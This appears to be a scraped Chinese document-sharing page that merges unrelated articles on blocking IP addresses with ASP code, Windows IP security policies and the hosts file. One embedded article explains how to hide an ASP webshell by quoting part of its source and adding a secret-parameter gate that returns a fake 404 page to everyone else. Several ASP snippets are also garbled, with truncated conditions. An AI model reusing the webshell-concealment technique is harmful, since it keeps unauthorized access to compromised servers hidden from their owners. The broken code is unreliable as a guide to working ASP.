ASP代码中如何屏蔽ip地址

合集下载

看如何设置IP地址的访问限制和权限控制

看如何设置IP地址的访问限制和权限控制

看如何设置IP地址的访问限制和权限控制IP地址是互联网通信中的重要组成部分,它可以用于定位和识别设备。

在某些情况下,我们可能希望对特定IP地址进行访问限制和权限控制,以保护网络和系统的安全性。

本文将介绍如何设置IP地址的访问限制和权限控制,以及相关的实践建议。

一、IP地址访问限制的基本原理IP地址访问限制依赖于网络设备中的防火墙或路由器功能。

通过设定相应的规则,可以实现对特定IP地址的访问限制,包括允许列表和拒绝列表。

1. 允许列表:在允许列表中添加特定的IP地址,只有列表中的IP 地址才能通过防火墙或路由器访问目标系统或网络资源。

2. 拒绝列表:在拒绝列表中添加特定的IP地址,列表中的IP地址将被防火墙或路由器拒绝访问目标系统或网络资源。

二、设置IP地址访问限制的步骤和方法下面将分步骤介绍如何设置IP地址的访问限制和权限控制。

1. 确定访问限制的目标:首先需要明确希望限制哪些IP地址的访问,可以是单个IP地址、IP地址段或者特定的IP地址组。

2. 登录防火墙或路由器:通过浏览器或者相关的管理软件登录防火墙或路由器,输入正确的用户名和密码。

3. 导航到访问控制设置:在管理界面中找到访问控制或防火墙设置等相关选项,通常位于网络设置或安全设置菜单下。

4. 添加访问规则:根据实际需求,在访问控制设置中添加相应的规则。

可以设置允许的IP地址列表或者拒绝的IP地址列表。

5. 保存并应用设置:在完成相关设置后,记得保存并应用设置,使其生效。

三、设置IP地址权限控制的实践建议除了基本的IP地址访问限制,我们还可以通过一些其他的实践来加强权限控制,提高网络和系统的安全性。

1. 多因素身份验证:考虑采用多因素身份验证的方式,例如结合使用密码、指纹、短信验证码等多种方式,增加身份验证的难度。

2. 定期更新访问规则:定期检查和更新IP地址访问规则,及时剔除不再需要访问的IP地址,避免黑客入侵。

3. 使用动态IP地址:使用动态IP地址可以增加安全性,因为动态IP地址会定期更改,使得黑客更难追踪和入侵。

如何通过IP地址限制特定设备的访问

如何通过IP地址限制特定设备的访问

如何通过IP地址限制特定设备的访问在互联网时代,网络安全问题越来越受到重视。

为了保护网络的安全和隐私,许多网站和应用程序采取了IP地址限制的措施,以限制特定设备的访问。

本文将介绍如何通过IP地址限制特定设备的访问,以提高网络安全性。

一、IP地址的基本概念在开始介绍IP地址限制之前,我们先来了解一下IP地址的基本概念。

IP地址是Internet Protocol Address的简称,它是一个由数字和点组成的标识符,用于唯一标识网络中的设备。

IP地址有两个版本,分别是IPv4和IPv6,其中IPv4广泛应用于当前的互联网。

IPv4地址由32位二进制数组成,通常以点分十进制的形式表示,例如192.168.0.1。

IP地址可以帮助我们找到特定设备所在的网络位置,并进行通信和数据传输。

二、通过IP地址限制特定设备的访问方法为了限制特定设备的访问,我们可以采取以下几种方法:1.防火墙配置防火墙可以在网络边界上起到隔离和保护的作用。

通过配置防火墙规则,我们可以限制特定设备的IP地址访问网络。

具体而言,我们可以设置防火墙规则,仅允许指定的IP地址范围通过,而拒绝其他IP地址的访问。

2.访问控制列表(ACL)ACL是一种常见的网络安全控制机制,它可以用于限制特定设备的访问。

通过ACL配置,我们可以指定允许或拒绝特定IP地址的访问权限。

在路由器或交换机上配置ACL规则,可以在网络层面对特定设备的访问进行限制。

3.应用层限制有些应用程序具备内置的IP地址限制功能,我们可以通过配置应用程序的设置,实现特定设备的访问限制。

例如,一些网站管理后台提供了IP地址白名单或黑名单设置,只有白名单内的IP地址才能访问管理界面。

4.VPN(虚拟私人网络)访问控制VPN可以为设备提供一个安全的通信通道,并对访问进行加密。

通过在VPN服务器上配置访问控制策略,我们可以限制特定设备的VPN 访问。

只有经过身份验证和授权的设备才能成功连接VPN服务。

禁用TCPIP协议,即可以上网又不能让别人修改IP地址

禁用TCPIP协议,即可以上网又不能让别人修改IP地址

禁用TCPIP协议,即可以上网又不能让别人修改IP地址第一篇:禁用TCPIP协议,即可以上网又不能让别人修改IP地址单位内因为对上互联网作了限制,经常有人盗用领导的IP上网却不退出,给技术管理人员带来一定的麻烦,为了不让别人改局域网内的IP地址并实现只上局域网,本人在每台Windows PC里进行了设置,效果很好,现将方法提供给大家享用:在windows组策略→用户设置→管理模板→网络→网络连接里修改以下两项设置为启用状态即可,1、禁止访问LAN连接的属性,(这项是禁用)2、为管理员启用windows2000网络连接设置(这项是禁用)第二篇:主机托管及IP地址租用协议主机托管及IP地址租用协议甲方:乙方:经甲乙双方友好协商,现将乙方向甲方提供主机托管、互联网接入及固定IP租用相关事宜达成以下协议:第一条:合作内容甲方将自己拥有的服务器放臵在乙方电信数据机房内。

乙方为其提供服务器运行所需的电源保障、优良的机房温湿度等机房环境;并提供高速互联网接入端口、固定IP地址出租服务,甲方向乙方支付相应服务费用。

第二条:合作方式及双方责任1、乙方在IDC机房为甲方提供放臵甲方专用服务器的空间,甲方托管服务器数量为一台塔式服务器。

2、乙方为甲方提供2个固定IP地址接入internet主干网,接入带宽为共享100M。

3、乙方对甲方服务器提供一般性防火墙保护,但对网络病毒或恶意攻击对服务器造成的破坏不承担责任。

甲方若在服务器网络安全方面有更高要求需甲方自行解决。

4、甲方托管服务器软件、数据及硬件由甲方自行维护,乙方只负责提供不间断电源、服务器监管,并提供标准的机房环境。

5、甲方发布的信息内容不得违反国家有关法律、法规要求。

在被托管的服务器上建立的个人网站为非经营性网站,应按照国家有关规定进行非经营性网站备案。

如果从事其它经营性服务应取得工商营业执照、ICP经营许可证等相关证照,否则将自行承担由此造成的一切后果。

6、乙方协助甲方进行日常设备重启、安装、联网调测等工作。

另类隐藏保护asp大马地址方法-电脑资料

另类隐藏保护asp大马地址方法-电脑资料

另类隐藏保护asp大马地址方法-电脑资料我们首先以一个大马为例这个大马是没有密码的,只要知道地址就可以进去了或者你的大马有密码但是被人为添加了后门,但比较隐秘,完全清除很难,我们就可以用下列方法来进行处理,。

如何加上密码让他人进不来呢?有些人直接加个登陆界面,人家一看就知道这是大马,还可以猜密码,我的方法就与众不同首先我们来看看他的一部分源码<%'pue=trueOn Error Resume Nextserver.scripttimeout=600UserPass="login"response.buffer = trueResponse.Expires = -1Session.Timeout=60Const wwj="NET WORK SYSTEM"Const jlt="WEB TESTER'S SYSTEM"Constqk="zxp|cyk|dez|bki|ooc|che|koc|zbk|cxa|slf|ysi|azp|bdv|tempfile| zlc|miv|gez|kmt|sqdb|kbsl|newf"Const pnf=trueConst rfd=33Const yqo="dsmfk"Const kuf="GB2312"Const gco="_"Const fgb="want_pre.asp"Constrighthz="_request_send_sumbit_include_reel_open_form_month _data"public br,pbwell,juppath,foldermax,maxpathfoldermax=0dimlogin,gem,jdu,kyj,ttg,cl,ghq,cey,zxp,cqo,iax,udo,cyk,dez,bki,jqj,ti o,jki,nyr,glm,xnr,vnm,pue,zoi,ulz,jsr,gtu,qdr,yqc,ooc,bvn,khd,che,k oc,zbk,cxa,slf,ysi,irs,sxi,bin,azp,bdv,wld,ovy,nqv,T1,ito,dqc,eaz,bia, uyy,yjd,xur,nld,zlc,miv,gez,kmt,ouc,rxg,amm,xbd,vuj,dov,ysv,mt,z nk,boo,opy,moi,ddo,okCPU,iak,clw,bpx,akh,cgh,ouo,etz,uvt,alr,zp q,pfv,tlk,nrp,zni,ypd,nww,rrt,boq,lqo,gsh,eyq,ifp,afc,pgh,cen,lsv,t ag,zhx,eza,ydo,tfv,uxo,fbp,mct,znzjki= Clng("&H0")for i=0 to 12cqo=cqo&"#"&right("000000"&trim(hex(jki)),6)&","jki=jki+1118481nextcolors=cqo&"#FFFFFF,#f44444,#00FF00,#f00000"cl=split(colors,",")怎样进行处理呢?我在前面加上了<%if request("id")="08sec" thensession("ISUSER00")= "TRUE"end if%><%If Session("ISUSER00") = "" Thenresponse.write("HTTP/1.1 404 Not Found")Response.Endend if%>这段代码的意思是如果返回的id是08sec的话就添加一个session isuser00的值为true如果Session("ISUSER00")的值为空显示HTTP/1.1 404 Not Found如果不是就执行下面的代码所以我们的大马就被保护起来了效果如下:。

禁止查看网页源代码及破解的方法详解1

禁止查看网页源代码及破解的方法详解1

如何彻底禁止查看网页源代码及破解网页制作者经常遇到精心制作的Java特效被别人抄袭,而自己对此却无可奈何的情况。

面对这一困扰,有没有方法可以解决呢?使用ASP、JSP等服务器端编程技术可以实现对网页源代码的保护,但目前国内网站所提供的免费个人主页空间一般都不提供对服务器端编程的支持,所以对于这些用户,要禁止访问者查看网页源代码就只能在客户端编程上下工夫了。

查看源代码的方式要禁止访问者查看网页源代码,我们首先要了解一下查看源代码的方式(以IE 5.0为例)。

一是右键菜单方式; 二是窗口菜单栏查看方式,即选择"查看"*"源文件"方式。

要彻底禁止访问者查看网页源代码,就必须屏蔽这2种查看源代码的方式。

屏蔽右键菜单查看方式现在,很多网页采用如下代码屏蔽右键菜单:< Language=java>Click(){if(event.button==2){alert('版权所有(C)2010 ');}}down=Click;< />实际上"button"有8个属性值(即0~7),"button==2"只是表示按下鼠标右键,所以上述代码实际上只能限制点击鼠标右键的情况,至于其他5种方式,如同时按左右键、中间键、左和中间键、右和中间键和按所有键的情况就不能限制了。

所以在弹出版权信息提示窗口后(如图3所示),按"确定"按钮仍然会出现快捷菜单。

针对这种情况,其实只要将"event.button==2"改为"event.button!=1"就可以做到无论用何种鼠标点击方式,均不出现右键菜单了。

不过即使进行上述修改后,也并不能彻底禁止右键菜单的出现。

用户只要在页面上按下右键,出现版权信息提示窗口后,不松开右键(即继续保持按下状态),再将鼠标指针移动到版权信息提示窗口的"确定"按钮上,同时按下左键,然后再松开鼠标左键,提示窗口即消失。

可以在网络中隐藏自己的ip地址吗有哪些方法

可以在网络中隐藏自己的ip地址吗有哪些方法

可以在网络中隐藏自己的ip地址吗有哪些方法隐藏IP地址,其实就是匿名访问,可以有效防止计算机被跟踪或攻击,但是在网络中不容易做到完全防止所有的安全威胁,隐藏ip只是手段之一,我们可以借助一些工具软件,具体方法有哪些呢?用户在网络世界中如何隐藏IP地址?方案一:通常网页代理服务器来访问网络1、通过将要访问的网页地址提交到某一特定网页代理服务器,代理服务器将根据所提交的网址访问并将获得的网页信息返回到当前电脑浏览器界面,从而有效隐藏了本地的IP地址。

2、具体实现方法:在百度中搜索“代理服务器”,并根据实际需要选择任意一个网页代理服务器进入。

3、在打开的“代理服务器”页面中,输入要访问的网站网址,点击“代理访问”按钮即可通过网页代理服务器提交访问请求。

方案二:通过浏览器设置代理服务器来隐藏本机IP地址1、在此我们需要先获取公开的“代理服务器IP地址”和“端口”信息,如图所示为“爬虫代理”官方主页所公布的公共代理服务器列表。

2、在浏览器界面中,点击“工具”-“Internet选项”项进入。

或者进入“工具”-“选项”界面后,点击“Internet选项”按钮进入。

3、在打开的“Internet选项”窗口中,切换到“连接”选项卡,选中“宽带连接”项,点击“设置”按钮。

4、接着在打开的窗口中,勾选“为此连接设置代理服务器”项,同时输入代理服务器的IP地址及端口,点击“确定”即可。

补充:常见网络故障解决方法ip地址冲突:ip地址冲突是局域网中经常出现的问题,有的用户可能重做系统或其他原因丢失自己的IP地址,在重新写IP的时候和其他人的IP地址一样导致ip地址出错,此时电脑右下角就会有个提示框提示你IP地址已经有人用。

部门网管应该统计好部门人员的IP地址,当出现问题时可有资料可循,避免IP地址冲突。

计算机网卡故障,一般的主机网卡都带有网卡指示灯,网卡灯有两种类型,一种是只有单灯,一种是双灯。

一般来说,单灯是绿色,而双灯一个是绿色,一个是橙色(1000M网络,如黄色则是100MM网络)。

怎么屏蔽网络安全模式

怎么屏蔽网络安全模式
网络安全模式屏蔽是指在网络环境中禁止或限制某些特定模式或行为,以保护网络安全和用户隐私。

下面介绍几种常见的网络安全模式屏蔽方法。

1. 防火墙屏蔽:可以通过配置防火墙规则来屏蔽特定的网络安全模式。

防火墙可以根据协议、端口号、IP地址等条件,对
特定的网络安全模式进行屏蔽,从而达到限制风险的目的。

2. 路由器屏蔽:路由器也可以设置过滤规则,对特定的网络安全模式进行屏蔽。

可以使用路由器的访问控制列表(ACL)功能,根据协议、端口号、IP地址等,对特定的模式进行限制。

3. 应用程序屏蔽:通过配置安全软件或应用程序里的屏蔽规则,可以限制特定的网络安全模式。

例如,设置杀毒软件的实时保护功能和防火墙模块,可以屏蔽恶意程序的运行或阻止特定网络连接。

4. 网络访问控制:可以使用网络访问控制技术,在网络设备上设置访问控制列表(ACL)来屏蔽特定的网络安全模式。

网络访问控制可以根据源IP地址、目标IP地址、协议等条件进行
屏蔽。

5. 域名屏蔽:可以通过DNS服务器屏蔽特定的域名,从而屏
蔽与该域名相关的网络安全模式。

可以将特定域名加入黑名单,DNS服务器在解析请求时将其解析为无效IP地址,从而屏蔽
该域名的网络连接。

在进行网络安全模式屏蔽时,需要根据具体的需求和风险情况来选择合适的屏蔽方法。

同时,还需要注意对网络安全模式进行持续监控和更新,及时调整屏蔽策略,以保持网络安全的有效防护。

如何屏蔽IP

第一种方法:Ping 探测是Windows系统中最常用的工具之一,它同时也是“网络流氓”寻找下手目标的最常用的工具,当“网络流氓”一次发送的数据包大于或等于65532K时,系统就很有可能死机,通过Ping 命令可以制造ICMP风暴,堵塞网络,所以Ping 命令对于系统的危害不可小覤,那么我们在Windows 2000系统中,在没有防火墙保护的状态下,如何屏蔽Ping探测,避免系统被“网络流氓”盯上呢?你可以通过以下方法来实现。

步骤1 点击“网上邻居”,选择“属性”再指向要配置的“网卡”,再用右键选取“属性”,再依次点“TCP/IP”->“高级”->“选项”->“TCP/IP筛选”。

步骤2 接着在TCP端口编辑框中点击“只允许”,在下面加上需要开的端口,一般打开80、20、21、25端口,应用于浏览网页,上传文件、收发邮件便行了。

步骤3 编辑UDP端口,选择“全部不允许”,最右边的一个编辑框是定义IP协议过滤的,我们选择只允许TCP协议通过,点“确定”关闭设置框。

上面设置了“只允许TCP协议通过”,只可惜微软在这里的IP协议过滤并不包括ICMP协议,所以还需要在IP安全机制(IP Security)上着手。

步骤1 打开“本地安全策略”,选择“IP安全策略”,再指向“管理IP筛选器”,在IP过滤规则:ICMP_ANY_IN,源地址选“任何IP ”,目标地址选“我的IP地址”(本机),协议类型是“ICMP”,切换到“管理过滤器操作”,增加一个名为“Deny”的操作,操作类型为“阻止”。

步骤2 接着再用右键选取本机的IP安全策略,选择“新建IP安全策略”,建立一个名称为“ICMP Filter”的过滤器,通过增加过滤规则向导,我们把刚刚定义的ICMP_ANY_IN过滤策略指定给“ICMP Filter”。

最后在操作选框中选择我们刚刚定义的Deny 操作,退出向导窗口,右击“ICMPFilter”并启用它,现在任何地址进入的ICMP报文就都会被丢弃了。

如何阻止某个IP访问我的电脑-用本地安全策略限制某个IP段

查看文章如何阻止某个IP访问我的电脑-用本地安全策略限制某个IP段2009-09-14 11:00方法一:通过windows自带的安全策略限制打开本地安全设置,点“IP安全策略,在本地机器”——>创建IP安全策略---->下一步---->名称随便写,如输入阻止,然后一直点下一步,出现提示点是,一直到完成,这个时候就创建了一个名为“阻止”的策略了下面点“IP安全策略,在本地机器”——>管理IP筛选器表和筛选器操作---->点添加---->名称添75.156.25(为了识别最好填写对应的IP段)---->点添加---->下一步---->源地址选择一个特定的IP子网,IP输入75.156.25.0 子网掩码改为255.255.255.0---->下一步---->目标地址选择我的IP地址---->下一步---->协议类型为任意---->下一步---->完成全部关闭下面点我们开始建立的名为“阻止”的策略,点属性---->填加---->下一步---->下一步网络类型选择所有网络连接---->下一步---->出现提示点是---->到IP筛选列表,点中我们刚才创建的名为75.156.25的选项---->下一步---->选择阻止---->下一步到完成、关闭最后点“阻止”这个策略,右键,指派,到这里为止我们就已经阻止了75.156.25开头的网段了,当然也阻止了75.156.25.192这个IP的攻击了,如还要封其他IP的攻击同样操作即可方法二:如何禁止本机访问指定的IP地址internet选项>安全>选受限站点然后输入站点或IP方法三:通过防火墙、路由器的过滤规则可以很方便的进行限制方法四:修改系统的hosts文件进行限制用记事本打开HOSTS文件(C:\WINDOWS\system32\drivers\etc\hosts)在最后一行回车并填写0.0.0.0 123.456.789.123把“123.456.789.123”替换成禁止访问的IP(或网址)即可方法五:通过组策略中的IP安全策略限制本机对某IP进行访问首先打开组策略进入计算机配置里面的安全设置,点里面的IP安全策略创建新的IP策略下一步随便输入名称我就用"阻止" 然后点下一步激活默认响应规则打勾下一步验证方法选第一个V5协议可能会有个警告,直接确定就好了编辑属性打勾完成回到原来的界面,点新建的名称"阻止"他会出来个属性窗口点击添加下一步不指定隧道下一步所有网络连结下一步V5协议下一步这时候应该是个安全规则向导界面点添加出来IP筛选列表点添加下一步源地址用我的IP地址下一步目标IP地址用一个特定的IP地址,然后输入你想阻止的IP地址我这里用192.168.0.1下一步协议,针对你的游戏服务器用的通讯协议,自己选择,一般都是TCP 我这里使用ICMP下一步编辑属性打勾下一步出来筛选器属性镜像一定要打勾,这样就能屏蔽远程IP了然后点确定回到了IP筛选器列表,点确定点你刚刚建立的IP筛选器,如果上面没有命名,那么她的名字应该是新的IP筛选器列表,点上圈圈下一步,进入筛选器操作点阻止,下一步完成新规则属性不用搞,只要点确定然后点关闭现在回到原来的组策略界面右键点我们刚刚建立的名称为阻止,选择指配这时候,它的策略已指配变成是了我这边现在PING 192.168.0.1 已经显示C:\Documents and Settings\Administrator>ping 192.168.0.1Pinging 192.168.0.1 with 32 bytes of data:Destination host unreachable.Destination host unreachable.Destination host unreachable.Destination host unreachable.Ping statistics for 192.168.0.1:Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),然后我们试试右键点击阻止,选择不指配C:\Documents and Settings\Administrator>ping 192.168.0.1Pinging 192.168.0.1 with 32 bytes of data:Reply from 192.168.0.1: bytes=32 time=1ms TTL=127 Reply from 192.168.0.1: bytes=32 time=1ms TTL=127 Reply from 192.168.0.1: bytes=32 time=2ms TTL=127 Reply from 192.168.0.1: bytes=32 time=1ms TTL=127Ping statistics for 192.168.0.1:Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds:Minimum = 1ms, Maximum = 2ms, Average = 1ms很明显,策略已经成功达到我们要的效果了。

ip包过滤规则

ip包过滤规则IP包过滤规则是网络安全中非常重要的一项措施,通过让特定的IP包通过而拦截其他不符合规则的IP包,来保障网络的安全性和正常运行。

下面介绍一些IP 包过滤规则的常见需求和实施方法。

1. 允许特定IP地址的通信:在网络中,我们可能需要允许某些特定IP地址间进行通信,可以通过设置IP 包过滤规则实现。

例如,可以通过配置规则,仅允许内部网络的IP地址与外部特定服务器进行通信,提高网络的安全性。

2. 阻止指定IP地址的访问:有时候我们需要阻止某些特定IP地址的访问,可以通过设置IP包过滤规则来实现。

例如,可以配置规则以禁止某些恶意IP地址的访问,以保护网络免受恶意攻击。

3. 封锁某一范围的IP地址:此外,有时候我们可能需要阻止某一范围的IP地址的访问。

例如,针对某个地理区域的恶意攻击,可以通过设置过滤规则阻止该地区IP地址的访问,从而有效控制风险。

实施IP包过滤规则有多种方法,其中常见的有以下几种:1. 使用网络防火墙:大多数网络环境下都会使用网络防火墙来实施IP包过滤规则。

防火墙可以根据配置的规则,对进出的IP包进行过滤和控制。

通过配置防火墙规则表,可以很灵活地设置特定IP地址的访问权限。

2. 使用路由器配置:一些路由器也具有IP包过滤功能,可以通过配置路由器的ACL(Access Control List)来实现。

ACL允许或阻止基于源IP地址、目标IP地址和服务类型等条件的访问。

通过在路由器上设置规则,可以进行精细的IP包过滤控制。

3. 在操作系统级别配置:一些操作系统也提供了IP包过滤的功能,如Linux中的iptables、Windows 中的Windows Firewall。

通过在操作系统级别配置规则,可以对特定IP地址进行过滤,实现有效的网络安全控制。

总而言之,IP包过滤规则是网络安全中非常重要的一项措施,通过它可以实现对特定IP地址的控制和访问权限管理。

在实施IP包过滤规则时,可以根据实际需求选择适合的方法和工具,以提高网络的安全性和稳定性。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

经常有些地方性的B2B或者B2C网站到处都被批量发布好多垃圾信息,把我的解决办法分享给大家:

把以下代码加入到你的ASP页面就可以测试到效果了: <%
'受屏蔽IP地址(段)集合,星号为通配符,通常保存于配置文件中。
Const BadIPGroup =
"192.168.1.*|202.68.*.*|*.12.55.34|185.*.96.24|127.*.0.1|192.168.0.1"

If IsForbidIP(BadIPGroup) = True Then
Response.Write(GetIP &"IP地址禁止访问")
Response.End()
End If

'参数vBadIP:要屏蔽的IP段,IP地址集合,用|符号分隔多个IP地址(段)
'返回Bool:True用户IP在被屏蔽范围,False 反之

Function IsForbidIP(vBadIP)
Dim counter, arrIPPart, arrBadIP, arrBadIPPart, i, j

arrBadIP = Split(vBadIP, "|")
arrIPPart = Split(GetIP(), ".")

For i = 0 To UBound(arrBadIP)
counter = 0
arrBadIPPart = Split(arrBadIP(i), ".")
For j = 0 To UBound(arrIPPart)
If(arrBadIPPart(j)) = "*" or Cstr(arrIPPart(j)) = Cstr(arrBadIPPart(j)) Then
counter = counter + 1
End If
Next
If counter = 4 Then
IsForbidIP = True
Exit Function
End If
Next
IsForbidIP = False
End Function

''返回客户IP地址
Function GetIP()
Dim IP
IP = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If IP = "" Then IP = Request.ServerVariables("REMOTE_ADDR")
GetIP = IP
End Function
%>

这样就可以限制网站访问的IP段了,你可以根据地区的IP段来设置。 我就是用这个方法防止外地用户使用流氓软件恶意到我网站发布信息的! ASP限制某段IP地址访问 function IP2Num(sip)

dim str1,str2,str3,str4 dim num IP2Num=0 if isnumeric(left(sip,2)) then str1=left(sip,instr(sip,".")-1) sip=mid(sip,instr(sip,".")+1) str2=left(sip,instr(sip,".")-1) sip=mid(sip,instr(sip,".")+1) str3=left(sip,instr(sip,".")-1) str4=mid(sip,instr(sip,".")+1) num=cint(str1)*256*256*256+cint(str2)*256*256+cint(str3)*256+cint(str4) IP2Num = num end if end function function Num2IP(nip) iip1 = int(nip/256/256/256) iip2 = int((nip-iip1*256*256*256)/256/256) iip3 = int((nip-iip1*256*256*256-iip2*256*256)/256) iip4 = int((nip-iip1*256*256*256-iip2*256*256-iip3*256) mod 256) iip0 = iip1 &"."& iip2 & "." &iip3 &"."& iip4 Num2IP = iip0 end function

userIPnum = IP2Num(Request.ServerVariables("REMOTE_ADDR")) if userIPnum > IP2Num("192.168.0.0") and userIPnum < IP2Num("192.168.0.255") then

response.write ("您的IP被禁止") response.end end if 限制IP地址段访问网站代码(ASP) <%
ip=Request.ServerVariables("REMOTE_ADDR")

'允许的IP地址段为10.0.0.0~10.68.63.255
allowip1="10.0.0.0"
allowip2="10.68.10.71"
response.write checkip(ip,allowip1,allowip2)
function checkip(ip,allowip1,allowip2)
dim check(4)
checkip=false
ipstr=split(ip,".")
allow1=split(allowip1,".")
allow2=split(allowip2,".")
if cint(allow1(0))>cint(allow2(0)) then
response.write "你的IP地址被禁用
exit function
end if
for i=0 to ubound(ipstr)
if cint(allow1(i))if cint(allow1(i))=cint(ipstr(i)) then
check(i)=true
checkip=true
exit for
else
if cint(ipstr(i))check(i)=true
checkip=true
exit for
else
if cint(ipstr(i))>cint(allow2(i)) then
check(i)=false
checkip=false
exit for
else
check(i)=true
checkip=true
end if
end if
end if
else
if cint(allow1(i))>cint(ipstr(i)) or cint(allow1(i))check(i)=false
checkip=false
if i<>ubound(ipstr) then
exit for
end if
else
check(i)=true
end if
end if
next
if (check(0)=true and check(1)=true and check(2)=true and check(3)=false) and
(cint(allow2(2))>cint(ipstr(2))) then
checkip=true
end if
end function
%>

ASP版:限制某个地区或某个IP地址访问网站并跳转指定网址 将下面的代码保存为 INDEX.ASP 放到网站根目录下,原网站首页改名为 INDE.HTM XML/HTML代码 <%
Function RegReplace(vStr,vReg,vCode)
Dim Re
Set Re = New RegExp
Re.Pattern = vReg
Re.IgnoreCase = True
Re.Global = True
If Re.Test(vStr) Then
vStr = Re.Replace(vStr,vCode)
End If
RegReplace = vStr
End Function
dim weburl,HostName

dim conna,connstra,dba
dba="useraddress.mdb"
set conna=Server.CreateObject("ADODB.CONNECTION")
connstra="Provider=Microsoft.Jet.OLEDB.4.0;data Source="&Server.MapPath(dba)
conna.open connstra

user_ip = Request.ServerVariables("REMOTE_ADDR") '取得访问者IP
userip_ary=split(user_ip,".")
tmp_userip=userip_ary(0)*256*256*256+userip_ary(1)*256*256+userip_ary(2)*256+userip_ary(
3) ' 按规定转换IP为数字

sql="select count(*) from dv_address where ip1<="&tmp_userip&" and ip2>="&tmp_userip
iCount = conna.Execute(sql)(0)
if iCount=0 then '外地显示内容
response.redirect("inde.htm")
else '北京显示内容
response.redirect("http://北京地区访问跳转的网址")
end if

%> 其中有个 ACCESS 数据库,和 INDEX.ASP 放在同级目录下,全打包下载:禁止ip.rar

相关文档
最新文档